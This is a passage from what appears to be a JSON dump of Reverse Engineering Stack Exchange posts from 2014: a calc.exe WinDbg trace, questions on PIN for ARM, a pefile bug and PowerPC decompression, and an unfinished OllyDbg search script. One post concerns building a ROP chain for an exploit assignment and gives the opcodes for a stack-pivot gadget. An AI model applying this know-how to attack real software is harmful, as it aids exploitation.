calc!DoOperation\n    4     0 [  1]   calc!_createrat\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createrat\n   32    53 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   39    56 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n   59    93 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   65    96 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n   84   133 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n    9    20 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n   12    40 [  1]   calc!_destroyrat\n   17     0 [  2]     kernel32!LocalFree\n   14    57 [  1]   calc!_destroyrat\n   86   204 [  0] calc!DoOperation\n    4     0 [  1]   calc!_createrat\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createrat\n   89   241 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   95   244 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n  114   281 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n  120   284 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n  139   321 [  0] calc!DoOperation\n    8     0 [  1]   calc!lshrat\n   11     0 [  2]     calc!intrat\n   14     0 [  3]       calc!zernum\n   17    14 [  2]     calc!intrat\n   52     0 [  3]       calc!equnum\n   23    66 [  2]     calc!intrat\n   11    89 [  1]   calc!lshrat\n   14     0 [  2]     calc!zernum\n   16   103 [  1]   calc!lshrat\n   10     0 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_destroyrat\n   12     6 [  2]     calc!rat_gt\n    4     0 [  3]       calc!_createrat\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createrat\n   15    43 [  2]     calc!rat_gt\n    3     0 [  3]       calc!_destroynum\n   21    46 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   40    83 [  2]     calc!rat_gt\n    3     0 [  3]       calc!_destroynum\n   45    86 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   69   123 [  2]     calc!rat_gt\n   12     0 [  3]       calc!addrat\n   52     0 [  4]         calc!equnum\n   36    52 [  3]       calc!addrat\n   19     0 [  4]         calc!addnum\n   30     0 [  5]           calc!_addnum\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  142    37 [  5]           calc!_addnum\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  148    57 [  5]           calc!_addnum\n   23   205 [  4]         calc!addnum\n   41   280 [  3]       calc!addrat\n   74   444 [  2]     calc!rat_gt\n   14     0 [  3]       calc!zernum\n   88   458 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n   94   529 [  2]     calc!rat_gt\n   21   726 [  1]   calc!lshrat\n   12     0 [  2]     calc!rattolong\n   10     0 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_destroyrat\n   12     6 [  3]       calc!rat_gt\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n   15    43 [  3]       calc!rat_gt\n    3     0 [  4]         calc!_destroynum\n   21    46 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   40    83 [  3]       calc!rat_gt\n    3     0 [  4]         calc!_destroynum\n   45    86 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   69   123 [  3]       calc!rat_gt\n   12     0 [  4]         calc!addrat\n   52     0 [  5]           calc!equnum\n   36    52 [  4]         calc!addrat\n   17     0 [  5]           calc!addnum\n   30     0 [  6]             calc!_addnum\n    6     0 [  7]               calc!_createnum\n   25     0 [  8]                 kernel32!LocalAlloc\n   12    25 [  7]               calc!_createnum\n  199    37 [  6]             calc!_addnum\n    3     0 [  7]               calc!_destroynum\n   17     0 [  7]               kernel32!LocalFree\n  205    57 [  6]             calc!_addnum\n   21   262 [  5]           calc!addnum\n   41   335 [  4]         calc!addrat\n   74   499 [  3]       calc!rat_gt\n   14     0 [  4]         calc!zernum\n   88   513 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n    9    20 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n   12    40 [  4]         calc!_destroyrat\n   17     0 [  5]           kernel32!LocalFree\n   14    57 [  4]         calc!_destroyrat\n   94   584 [  3]       calc!rat_gt\n   17   678 [  2]     calc!rattolong\n   10     0 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_destroyrat\n   12     6 [  3]       calc!rat_lt\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n   15    43 [  3]       calc!rat_lt\n    3     0 [  4]         calc!_destroynum\n   21    46 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   40    83 [  3]       calc!rat_lt\n    3     0 [  4]         calc!_destroynum\n   45    86 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   69   123 [  3]       calc!rat_lt\n   12     0 [  4]         calc!addrat\n   52     0 [  5]           calc!equnum\n   36    52 [  4]         calc!addrat\n   17     0 [  5]           calc!addnum\n   30     0 [  6]             calc!_addnum\n    6     0 [  7]               calc!_createnum\n   25     0 [  8]                 kernel32!LocalAlloc\n   12    25 [  7]               calc!_createnum\n  157    37 [  6]             calc!_addnum\n    3     0 [  7]               calc!_destroynum\n   17     0 [  7]               kernel32!LocalFree\n  163    57 [  6]             calc!_addnum\n   21   220 [  5]           calc!addnum\n   41   293 [  4]         calc!addrat\n   74   457 [  3]       calc!rat_lt\n   14     0 [  4]         calc!zernum\n   86   471 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n    9    20 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n   12    40 [  4]         calc!_destroyrat\n   17     0 [  5]           kernel32!LocalFree\n   14    57 [  4]         calc!_destroyrat\n   92   542 [  3]       calc!rat_lt\n   21  1312 [  2]     calc!rattolong\n    6     0 [  3]       calc!_destroyrat\n   23  1318 [  2]     calc!rattolong\n    4     0 [  3]       calc!_createrat\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createrat\n   26  1355 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   31  1358 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   50  1395 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   55  1398 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   75  1435 [  2]     calc!rattolong\n   11     0 [  3]       calc!intrat\n   14     0 [  4]         calc!zernum\n   17    14 [  3]       calc!intrat\n   52     0 [  4]         calc!equnum\n   23    66 [  3]       calc!intrat\n   79  1524 [  2]     calc!rattolong\n   24     0 [  3]       calc!divnumx\n   82  1548 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n   87  1568 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n  107  1605 [  2]     calc!rattolong\n   28     0 [  3]       calc!numtolong\n  110  1633 [  2]     calc!rattolong\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n  116  1704 [  2]     calc!rattolong\n   24  2546 [  1]   calc!lshrat\n    6     0 [  2]     calc!_destroyrat\n   26  2552 [  1]   calc!lshrat\n    4     0 [  2]     calc!_createrat\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createrat\n   29  2589 [  1]   calc!lshrat\n    3     0 [  2]     calc!_destroynum\n   35  2592 [  1]   calc!lshrat\n    6     0 [  2]     calc!_createnum\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createnum\n   55  2629 [  1]   calc!lshrat\n    3     0 [  2]     calc!_destroynum\n   61  2632 [  1]   calc!lshrat\n    6     0 [  2]     calc!_createnum\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createnum\n   82  2669 [  1]   calc!lshrat\n   10     0 [  2]     calc!ratpowlong\n    3     0 [  3]       calc!longtorat\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n    8    37 [  3]       calc!longtorat\n    3     0 [  4]         calc!longtonum\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n   21    37 [  4]         calc!longtonum\n   12    95 [  3]       calc!longtorat\n    3     0 [  4]         calc!longtonum\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n   21    37 [  4]         calc!longtonum\n   17   153 [  3]       calc!longtorat\n   21   170 [  2]     calc!ratpowlong\n   25     0 [  3]       calc!mulnumx\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   28    20 [  3]       calc!mulnumx\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   51    57 [  3]       calc!mulnumx\n   27   278 [  2]     calc!ratpowlong\n   24     0 [  3]       calc!mulnumx\n   30   302 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   33   616 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   35   652 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   43   688 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   46  1002 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   48  1038 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   57  1074 [  2]     calc!ratpowlong\n   22     0 [  3]       calc!mulnumx\n   19     0 [  4]         calc!_mulnumx\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n  127    37 [  4]         calc!_mulnumx\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n  133    57 [  4]         calc!_mulnumx\n   27   190 [  3]       calc!mulnumx\n   63  1291 [  2]     calc!ratpowlong\n   24     0 [  3]       calc!mulnumx\n   66  1315 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   69  1629 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   71  1665 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   76  1701 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n   82  1772 [  2]     calc!ratpowlong\n   85  4523 [  1]   calc!lshrat\n    6     0 [  2]     calc!mulrat\n   14     0 [  3]       calc!zernum\n   12    14 [  2]     calc!mulrat\n   22     0 [  3]       calc!mulnumx\n   19     0 [  4]         calc!_mulnumx\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n  127    37 [  4]         calc!_mulnumx\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n  133    57 [  4]         calc!_mulnumx\n   27   190 [  3]       calc!mulnumx\n   17   231 [  2]     calc!mulrat\n   24     0 [  3]       calc!mulnumx\n   19   255 [  2]     calc!mulrat\n   36     0 [  3]       calc!trimit\n   23   291 [  2]     calc!mulrat\n   87  4837 [  1]   calc!lshrat\n    6     0 [  2]     calc!_destroyrat\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n    9    20 [  2]     calc!_destroyrat\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n   12    40 [  2]     calc!_destroyrat\n   17     0 [  3]       kernel32!LocalFree\n   14    57 [  2]     calc!_destroyrat\n   91  4908 [  1]   calc!lshrat\n  144  5320 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n    9    20 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n   12    40 [  1]   calc!_destroyrat\n   17     0 [  2]     kernel32!LocalFree\n   14    57 [  1]   calc!_destroyrat\n  153  5391 [  0] calc!DoOperation\n\n5544 instructions were executed in 5543 events (0 from other threads)\n\nFunction Name                               Invocations MinInst MaxInst AvgInst\ncalc!DoOperation                                      1     153     153     153\ncalc!_EH_prolog                                       1      10      10      10\ncalc!_addnum                                          3     148     205     172\ncalc!_createnum                                      26      12      12      12\ncalc!_createrat                                       8      12      12      12\ncalc!_destroynum                                     40       3       3       3\ncalc!_destroyrat                                     14       6      14      10\ncalc!_mulnumx                                         5     133     133     133\ncalc!addnum                                           3      21      23      21\ncalc!addrat                                           3      41      41      41\ncalc!divnumx                                          1      24      24      24\ncalc!equnum                                           5      52      52      52\ncalc!intrat                                           2      23      23      23\ncalc!longtonum                                        2      21      21      21\ncalc!longtorat                                        1      17      17      17\ncalc!lshrat                                           1      91      91      91\ncalc!mulnumx                                         12      24      51      27\ncalc!mulrat                                           4      23      23      23\ncalc!numtolong                                        1      28      28      28\ncalc!rat_gt                                           2      94      94      94\ncalc!rat_lt                                           1      92      92      92\ncalc!ratpowlong                                       1      82      82      82\ncalc!rattolong                                        1     116     116     116\ncalc!trimit                                          10      36      36      36\ncalc!zernum                                          10      14      14      14\nkernel32!LocalAlloc                                  34      25      25      25\nkernel32!LocalFree                                   34      17      17      17\n\n0 system calls were executed\n\neax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000\neip=7c90e514 esp=0007fde8 ebp=0007fee4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nntdll!KiFastSystemCallRet:\n7c90e514 c3              ret\n0:000&gt; q\nquit:\n</code></pre>\n"
    },
    {
        "Id": "6612",
        "CreationDate": "2014-11-08T23:24:59.000",
        "Body": "<p>While looking around for \"PIN for ARM\" I came across <a href=\"http://www.cs.virginia.edu/kim/docs/cases06.pdf\" rel=\"nofollow\">this</a>. However, I don't seem to be able to locate it. Is it even made publicly available? Has anyone used this or anything similar?</p>\n",
        "Title": "has anyone used PIN for ARM",
        "Tags": "|arm|",
        "Answer": "<p>It used to be available at <a href=\"https://software.intel.com/en-us/articles/pintool-downloads\" rel=\"nofollow\">https://software.intel.com/en-us/articles/pintool-downloads</a>, but it looks like Intel pulled it between the summer and winter of 2012.</p>\n\n<p>It's still available via the <a href=\"https://archive.org/web/\" rel=\"nofollow\">Internet Archive Wayback Machine</a> though, at <a href=\"https://web.archive.org/web/20120618005139/http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.0-5567-gcc.3.3.1-softfp-arm-linux.tar.gz\" rel=\"nofollow\">https://web.archive.org/web/20120618005139/http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.0-5567-gcc.3.3.1-softfp-arm-linux.tar.gz</a></p>\n"
    },
    {
        "Id": "6634",
        "CreationDate": "2014-11-14T20:02:54.693",
        "Body": "<p>I've been reverse engineering a PE executable and I came across a behavior that I can't understand. The executable uses both shell32.dll and profapi.dll. I see that shell32.dll delay loads a function in profapi.dll using an ordinal value (I verified this by looking at the delay load import table of shell32.dll). However, profapi.dll does not export any functions as it doesn't even have an export table. I'm examining the delay import and export sections of these DLLs using the Python library pefile. I'm using profapi.dll version 6.1.7600.16385 (as reported by the file properties) on Windows 7.</p>\n\n<p>From what I understand, to load a function by ordinal or name from profapi.dll, you still need access to profapi.dll's export table. Is there another way through which profapi.dll could expose the addresses of its functions, or am I missing something?</p>\n\n<p>EDIT: It looks like it was an issue with pefile parsing the DLL. I was indeed able to examine the export section using IDApro. I am leaving the question up to highlight what looks like a potential bug in pefile. I am using pefile version 1.2.10-139.</p>\n",
        "Title": "Delay imported function not in export table",
        "Tags": "|dll|pe|",
        "Answer": "<p><code>profapi.dll</code> should certainly have an Export Table. For example, here's the Export Table from <code>profapi.dll</code> version <code>6.3.9600.16384</code>:</p>\n\n<pre><code>There is an export table in .text at 0x10001000\n\nThe Export Tables (interpreted .text section contents)\n\nExport Flags                    0\nTime/Date stamp                 52157da7\nMajor/Minor                     0/0\nName                            00001060 profapi.dll\nOrdinal Base                    101\nNumber in:\n        Export Address Table            0000000e\n        [Name Pointer/Ordinal] Table    00000000\nTable Addresses\n        Export Address Table            00001028\n        Name Pointer Table              00000000\n        Ordinal Table                   00000000\n\nExport Address Table -- Ordinal Base 101\n        [   0] +base[ 101] 2b24 Export RVA\n        [   1] +base[ 102] 25c2 Export RVA\n        [   2] +base[ 103] 3cd9 Export RVA\n        [   3] +base[ 104] 1089 Export RVA\n        [   4] +base[ 105] 4a8b Export RVA\n        [   5] +base[ 106] 49b2 Export RVA\n        [   6] +base[ 107] 42ae Export RVA\n        [   7] +base[ 108] 4643 Export RVA\n        [   8] +base[ 109] 45ce Export RVA\n        [   9] +base[ 110] 4592 Export RVA\n        [  10] +base[ 111] 3dc3 Export RVA\n        [  11] +base[ 112] 4318 Export RVA\n        [  12] +base[ 113] 428d Export RVA\n        [  13] +base[ 114] 3bcd Export RVA\n</code></pre>\n\n<p>I just checked version <code>6.1.7600.16385</code> from Windows 7 and confirmed that it too has an Export Table, from which it exports 6 functions by ordinal. If the Python library you're using isn't seeing these functions then it's due to a bug in the Python library (or potentially your usage of it).</p>\n\n<p>For what it's worth, this is a known issue in older versions of the <a href=\"https://code.google.com/p/pefile/\" rel=\"nofollow\">pefile library</a> and was <a href=\"https://code.google.com/p/pefile/source/detail?r=134\" rel=\"nofollow\">fixed about a year ago</a>. Perhaps you're using an outdated version?</p>\n"
    },
    {
        "Id": "6637",
        "CreationDate": "2014-11-15T04:04:16.210",
        "Body": "<p>I am working on an assignment to perform an exploit using a rop chain.\nWhile I understand the basics behind rop, I don't know how to convert instructions like</p>\n\n<pre><code>xchg eax, esp; retn;\n</code></pre>\n\n<p>to their opcodes.</p>\n\n<p>I tried using:</p>\n\n<pre><code>0:005&gt; a\ninput&gt; xchg eax,esp\n</code></pre>\n\n<p>but the address given just points to a totally different kind of instruction in my program.\nI believe it was an add command.</p>\n",
        "Title": "windbg: How to determine the opcode for an assembly language instruction or set of instructions",
        "Tags": "|windbg|",
        "Answer": "<p><a href=\"http://www.woodmann.com/collaborative/tools/index.php/RTA\" rel=\"nofollow noreferrer\">RTA</a> is an easy to use tool that allows you to enter either opcodes or mnemonics and will convert them from one to the other.</p>\n\n<p>In the example below, I entered <code>XCHG EAX,ESP</code> and <code>RETN</code> on the right, and RTA produced <code>94</code> and <code>C3</code> on the left:</p>\n\n<p><img src=\"https://i.stack.imgur.com/FLGrT.png\" alt=\"RTA\"></p>\n\n<p>If, on the other hand, you really want to use WinDbg, then you need to do the following:</p>\n\n<ol>\n<li>Load a target into WinDbg</li>\n<li>Type <kbd>a</kbd>, <kbd>Enter</kbd> to enter Input mode</li>\n<li>Type your mnemonics (for example, <code>xchg eax,esp</code>), <kbd>Enter</kbd></li>\n<li>Press <kbd>Enter</kbd> again to escape Input mode</li>\n<li>Type <kbd>u</kbd>, <kbd>Enter</kbd> to show the disassembly of what you just assembled</li>\n</ol>\n\n<p>\u200bSee below for an example:</p>\n\n<pre><code>0:000&gt; a\n778e05a6 xchg eax,esp\nxchg eax,esp\n778e05a7 \n\n0:000&gt; u\nntdll!LdrVerifyImageMatchesChecksum+0x633:\n778e05a6 94              xchg    eax,esp\n</code></pre>\n"
    },
    {
        "Id": "6638",
        "CreationDate": "2014-11-15T06:12:17.190",
        "Body": "<p>Continues from <strong><a href=\"https://reverseengineering.stackexchange.com/questions/6527/unknown-game-data-compression-method-gamecube\">Unknown game data compression method (Gamecube)</a><br></strong>\nI have compression data which was start with: <strong>[ * SK_ASC* ]</strong> and unknown compression method.<br>The list below compression method that I tested, but doesn't match:</p>\n\n<ul>\n<li>LZ10</li>\n<li>LZ11</li>\n<li>LZ77</li>\n<li>LZO1x-1</li>\n<li>LZO1x-999</li>\n<li>LZSS</li>\n<li>LZW</li>\n<li>LZMA</li>\n<li>HUFF blocksize 4 &amp; 8 byte</li>\n<li>RLE</li>\n<li>ZLIB</li>\n</ul>\n\n<p><strong>Researching for 2 weeks</strong>, I knew that compression algorithms is slightly modified, better than zlib/gzip.<br>\nIt maybe xored or encrypted so it doesn't match with regular one.<br>\n<strong>Finally</strong>, I've found decompression subroutine from main executive file via <strong>IDA Pro</strong>.<br><br>\nSubroutine &amp; example uploaded here: <strong><a href=\"http://goo.gl/2bQNfj\" rel=\"nofollow\">http://goo.gl/2bQNfj</a></strong> <br><strong>(PowerPC Architecture Assembly skill required)</strong><br><br><br>\nI have no idea what It mean because I'm not well in PPC disassemble.<br>\nCould anyone help found out what the code mean? Could you describe it as C Language or other readable language?</p>\n\n<p><br><br><br>\n<strong>P.S. I already posted several forum to help.</strong> </p>\n\n<ul>\n<li>http:// zenhax.com/viewtopic.php?f=9&amp;t=313&amp;sid=3172c154c5da95476795ac742501fec1</li>\n<li>http:// encode.ru/threads/2074-Identifying-compression-method</li>\n</ul>\n",
        "Title": "Disassemble the Decompression method (PowerPC ASM)",
        "Tags": "|disassembly|decompress|powerpc|",
        "Answer": "<p>Based on w s 's answer, do the following:</p>\n\n<p>Extract the decompression function from the binary. (On Linux, use <code>dd if=Start.dol bs=1 skip=1292664 count=7364 of=decomp.ppc</code>).</p>\n\n<p>Set the retargetable decompiler to <kbd>raw machine code</kbd>, <code>decomp.ppc</code>, file format doesn't matter, <kbd>power pc</kbd>, <kbd>big</kbd> endian, section address and entry point addess = <code>0x8013FC58</code>.</p>\n\n<p>With these parameters, you'll get your code decompiled. The result isn't exactly what i'd call readable, though.</p>\n\n<p>You'll still have the problem that the code calls some more functions that aren't in the snipped file, but you can probably handle them in the same way.</p>\n"
    },
    {
        "Id": "6647",
        "CreationDate": "2014-11-17T13:21:00.883",
        "Body": "<p>I am new to reverse engineering. This is my problem:\nI am running a program and I know a value '<strong>X</strong>' will be calculated during execution.\nNow how do i set the IDA or ollydbg to break when value X appears for the first time in the memory. (I guess it is similar to Memory/Data Breakpoints)\nPlease help.</p>\n",
        "Title": "How to cause program to stop execution when a particular value is found in memory",
        "Tags": "|ida|ollydbg|patch-reversing|",
        "Answer": "<p>Well, I was tying few weeks ago to implement an ollyscript which triggers conditional beakpoints on each line where a desired alpha/numerical value is found.</p>\n\n<p>This program gives the user the choice of following one of 3 methods:</p>\n\n<p>1- Trace methode (which works with numbers)</p>\n\n<p>2- Memory breakpoints </p>\n\n<p>3- Smart research by setting unconditional breakpoints (works by two passes)</p>\n\n<blockquote>\n  <ul>\n  <li>Golden script:</li>\n  </ul>\n</blockquote>\n\n<pre><code>COE \nLC  \nlog \" This script is realised by AGAWA001 of StackExchange \"    \nlog \" This script should be executed on ODbgScript version +1.82.6\" \nlog \" This script must rerun twice atleast in case of smartresearch\"    \nlog \" you must restart your program once terminated to clear useless breakpoints\"   \nlog \" This script is used to check existence of an alpha/numeric value in memory\"   \nlog \" Unicode strings arent suppoted try to input first two unicode characters as number\"   \nlog \" in case when script stops, press spacebar focused on script window to force it to run\"    \nlog \" This script removes all beakpoints prealably set up and changes labels from command lines\"    \nlog \" To run this script as quick as possible, ollydbg window is prefered to be minimized during execution \"    \nlog \" All insider windows (log window,bp window,memory ,...) must be closed apart script window to ensure shortest runtime\" \nlog \" Trace procedure can encounter T-flag error, in this case try to get a grasp on it by binding esc key focused on script window\"    \nlog \" Some debuggers dont support ask command, so values must be injected manually and carefully instead of userprompt command in same line\"    \n\nlog \"--------------------------------------------------------------------------------------\"    \nlog \" This is beta version, Contact me whether you find any bugs, regards.\" \nlog \"--------------------------------------------------------------------------------------\"    \n\nvar str \nvar tmp \nvar start   \nvar finish  \nvar addr    \nvar ending  \nvar beginning   \nvar val \nvar value   \nvar swtch   \nvar stack   \nvar stackend    \nvar buff    \nvar offset  \nvar dll \nvar processkill \nmov processkill,0   \nmov offset,4    \nalloc 1000                          \nmov buff, $RESULT   \nmov offst,ff    \nGMEMI esp, MEMORYBASE   \nmov stack,$RESULT   \nGMEMI $RESULT, MEMORYSIZE   \nmov stackend,$RESULT    \nadd stackend,stack  \ngmi eip,MODULEBASE  \nmov start,$RESULT   \nmov finish,$RESULT  \ngmi eip,MODULESIZE  \nadd finish,$RESULT  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje bypass   \ncmp $RESULT,\"done\"  \nje exit \npreop eip   \ngcmt $RESULT    \ncmp $RESULT,\"ready\" \nje check2   \npreop eip   \ngcmt $RESULT    \nmov val,$RESULT \nlen $RESULT \nifg $RESULT,1   \natoi val    \nmov val,$RESULT \nmov dll,0   \nife val&gt;&gt;1f,1   \nmul val,-1  \nmov addr,eip-val    \njmp boucl   \nelse    \nmov addr,eip+val    \njmp boucl2  \nendif   \nendif   \ncheck2: \nmov processkill,1   \nbypass: \nmul offst,10    \nask \"Enter value to look for (preceded by 'str:' in case of a formatted string ex: str:password ) \" \nadd offst,buff  \ncmp $RESULT, 0  \nje  theend  \nmov str,$RESULT \nmov value,$RESULT   \nstr str \nlen str \nmov tmp,$RESULT \ncmp tmp,5   \njb ok   \nstr str 